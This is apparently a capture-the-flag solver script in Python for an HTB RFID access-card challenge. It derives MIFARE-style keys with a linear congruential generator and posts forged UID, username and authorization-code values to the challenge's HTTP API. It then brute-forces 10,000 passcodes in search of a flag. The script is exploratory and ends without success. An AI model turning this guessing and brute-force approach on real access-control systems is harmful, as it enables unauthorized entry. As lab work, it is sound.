#!/usr/bin/env python3
"""
Smart CTF approach - the challenge name is "access" and the file mentions tapping the bus.
Let's try common RFID attack patterns and analyze API behavior.
"""
import requests
import json

def lcg_step(seed):
    return (seed * 0x52c6425d + 0xcc52c) % (2**32)

def bytes_from_num(num):
    return [int(num >> 16), int((num >> 8) & 0xFF), int(num & 0xFF)]

def generate_keys(passcode):
    seed = passcode
    keys = []
    for _ in range(6):
        seed = lcg_step(seed)
        keys.append(seed % 0xffffff)
    return keys

def try_credentials(uid, username, auth_base, access_level, passcode):
    """Try credentials and return full response"""
    keys = generate_keys(passcode)
    
    # Last 2 keys (for sector 34)
    key_bytes = []
    for key in keys[4:6]:
        key_bytes.extend(bytes_from_num(key))
    
    key_hex = ''.join(f'{b:02x}' for b in key_bytes)
    full_auth = auth_base + key_hex
    
    data = {
        'uid': uid,
        'username': username,
        'authorization_code': full_auth,
        'access_level': access_level
    }
    
    try:
        r = requests.post('http://154.57.164.61:31938/api', data=data, timeout=5)
        result = r.json()
        return result
    except:
        return None

# Based on the challenge, let's think:
# - "teptast" appears in filenames/context
# - Common MIFARE UIDs start with 04
# - Let me try systematic variations

print("[*] Testing with challenge-specific patterns...")
print()

# Convert "teptast" to hex (this might be the username)
teptast_hex = ''.join(f'{ord(c):02x}' for c in 'teptast')
print(f"[*] 'teptast' in hex: {teptast_hex}")

# Try some variations
test_cases = [
    # (uid, username_hex, auth_code_base, access_level, passcode)
    ('04f6555b', teptast_hex, '00' * 16, 'ff' * 16, 0),
    ('04f6555b', teptast_hex, 'ff' * 16, 'ff' * 16, 0),
    ('04f6555b', teptast_hex, '00' * 16, '00' * 16, 0),
]

# Also try reversed: "tsatpet"
tsatpet_hex = ''.join(f'{ord(c):02x}' for c in 'tsatpet')
test_cases.extend([
    ('04f6555b', tsatpet_hex, '00' * 16, 'ff' * 16, 0),
])

# Try hex "746570747361" which appeared in searches
test_cases.append(('04f6555b', '746570747361', '00' * 16, 'ff' * 16, 0))

for uid, username, auth, access, passcode in test_cases:
    print(f"\n[*] Testing: UID={uid}, Username={username}, Passcode={passcode}")
    result = try_credentials(uid, username, auth, access, passcode)
    if result:
        print(f"    Response: {result}")
        if 'HTB{' in result.get('flag', ''):
            print(f"\n{'='*70}")
            print(f"FLAG FOUND: {result['flag']}")
            print(f"{'='*70}")
            exit(0)

# Now let's try different combinations of auth_code and access_level
print("\n[*] Trying different auth_code and access_level combinations...")

# Try various patterns
auth_patterns = ['00' * 16, 'ff' * 16, '01' * 16, '10' * 16]
access_patterns = ['00' * 16, 'ff' * 16, '01' * 16, '10' * 16]

for auth in auth_patterns:
    for access in access_patterns:
        result = try_credentials('04f6555b', teptast_hex, auth, access, 0)
        if result and result.get('flag') != 'HTB{}':
            print(f"\n{'='*70}")
            print(f"FLAG FOUND: {result['flag']}")
            print(f"Auth: {auth[:20]}..., Access: {access[:20]}...")
            print(f"{'='*70}")
            exit(0)

# Try passcode brute force
print("\n[*] Trying passcode brute force...")
for passcode in range(0, 10000):
    if passcode % 1000 == 0:
        print(f"[*] Progress: {passcode}/10000")
    
    result = try_credentials('04f6555b', teptast_hex, '00' * 16, 'ff' * 16, passcode)
    if result and result.get('flag') and result['flag'] != 'HTB{}':
        print(f"\n{'='*70}")
        print(f"FLAG FOUND: {result['flag']}")
        print(f"Passcode: {passcode}")
        print(f"{'='*70}")
        exit(0)

print("\n[*] Still need actual RFID sector data from the capture.")
